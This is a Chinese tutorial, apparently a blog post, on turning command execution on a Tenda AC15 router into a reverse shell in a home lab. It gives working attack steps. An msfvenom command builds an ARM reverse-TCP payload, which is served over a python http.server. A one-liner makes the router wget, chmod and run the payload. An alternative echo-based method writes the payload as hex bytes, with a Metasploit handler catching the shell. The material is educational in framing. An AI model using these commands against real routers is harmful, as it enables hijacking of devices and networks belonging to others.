这篇文章主要讲一下对路由器getshell之后的操作
介绍
反思
在上一篇文章中,虽然成功的getshell了,但是没法通过本机实现操控,所以这篇主要讲如何反弹shell。
什么是反弹shell
讲到反弹shell,首先需要讲一下shell,假设攻击了一个目标靶机,攻击完成之后,通过ssh、远程桌面、web服务、telnet等直接连接的方法获取到靶机的权限,这样的方式叫做正向连接,但是如果碰到了对方是以下情况,正向连接可能无法实现:
1、靶机在局域网内,无法直接连接不了;
2、由于靶机有限制,只能发送请求,不能接收请求;
3、并且靶机的ip会动态改变,你不能持续控制;
4、……
碰到了这些情况,那就需要通过靶机主动对攻击机进行连接,这就是反弹shell;更加直观地说反弹shell就是通过攻击靶机,让靶机可以自行连接攻击机,从而可以执行命令。
为什么要反弹shell
首先在成功getshll之后,会出现如下界面:
我是本机打本机,可能看不清楚,更换wsl进行攻击操作。
攻击机
攻击机的ip为192.168.5.2
靶机
靶机ip为192.168.5.5
进行getshell
接下来通过攻击机对靶机进行攻击:
可以看到攻击是成功地进行了,但是我们无法通过攻击机进行交互命令执行,这样是及其不方便的,所以需要进行反弹shell让攻击机可以对靶机进行命令执行。
反弹shell(借助Tenda AC15 15.03.1.16进行辅助讲解)
进行反弹shell的前提当然就是要先进行getshell!
通过wget进行反弹shell
环境测试
本想通过bash对其进行反弹shell,但是碰到了很无语的问题:
这边没有这个命令,所以只能另想办法,继续对环境进行测试其他的命令:
利用思路
发现可以使用chmod、wget命令,这个时候,就有了利用的思路:
1、首先利用msf生成基于armle的反弹shell木马;
2、通过远程命令执行,通过wget下载该木马;
3、chmod修改运行权限并执行木马,利用msf来接收。
生成木马
需要下载msf,ubuntu直接下载可能会出现问题,我采用的是这种方法:
首先进入https://apt.metasploit.com/
拉到最低,下载.deb文件,随后进入到该文件的文件夹中,执行
1 | sudo dpkg -i + xxx.deb |
然后输入msfconsole之后,如果出现以下界面,那么说明安装成功:
附上msf的更新命令:
1 | sudo msfupdate |
随后推出msf,运用msfvenom命令生成木马:
1 | msfvenom -p linux/armle/shell/reverse_tcp LHOST=192.168.5.5 LPORT=4444 -f elf > payload.elf |
这是,执行该命令的目录下会多一个名为payload.elf的文件。
配置本地http.server
在包含payload.elf文件的文件夹中,输入
1 | python3 -m http.server |
这时候,就可以通过wget下载该文件目录下的文件了。
wget下载木马
这边成功下载payload.elf,但是这里一定要注意在wget的时候一定要加上http://头,以及输正确8000端口号。
下载完毕之后,一定要记得通过chmod给文件加上运行权限:
1 | chmod +x * |
然后新开起一个终端,输入msfconsole打开msf,先进行配置:
1 | use exploit/multi/handler |
进入到路由器界面,输入命令:
1 | ./payload.elf |
发现成功获得了shell。
使用一句话命令
在整合命令之前,介绍两个常用的linux命令连接的符号,一个是“;”,一个是“&&”。
“;”的意思就是一次执行命令,不管前一个命令是否成功执行,都会进行下一个命令的执行;而“&&”命令则是在执行前一个命令成功的基础上,才会继续执行下一个命令,所以这里对一句话命令的构造为:
1 | wget http://192.168.5.5:8000/payload.elf && chmod +x * && ./payload.elf |
exp整合
1 | import requests |
测试exp
将路由器root目录下的payload.elf删除,执行exp:
成功反弹shell。
通过echo进行反弹shell
利用思路
发现可以使用echo、chmod命令,就有了以下思路进行反弹shell:
1、首先利用msf生成基于armle的反弹shell木马;
2、直接通过echo命令将木马写入到靶机中;
3、chmod修改运行权限并执行木马,利用msf来接收。
生成木马
方法同上
echo命令写入
echo命令可以直接将二进制文件写入,具体的命令为:
1 | echo -e -n "\xXX\xXX...\xXX" > payload |
由于要获取到二进制文件的十六进制,这里我自行开发了一个小工具,具体功能为读取文件,输出文件的十六进制,具体的源码为:
1 | #!/usr/bin/python3 |
将该工具放入到/usr/bin/中作为系统命令,这样无论在哪个路径下都可以使用:
1 | sudo cp file_hex.py /usr/bin/file2hex #这里的file2hex为我自定义的工具名,这里你可以自行定义 |
具体的使用方法为:
1 | file2hex XXX |
效果如下:
在写好工具之后,我们需要将工具生成的十六进制进行接收,我采用os.popen()进行接收。
使用一句话命令
1 | shell = os.popen('file2hex payload.elf').read().strip("\n") |
exp整合
1 | import os |
测试exp
成功进行反弹shell。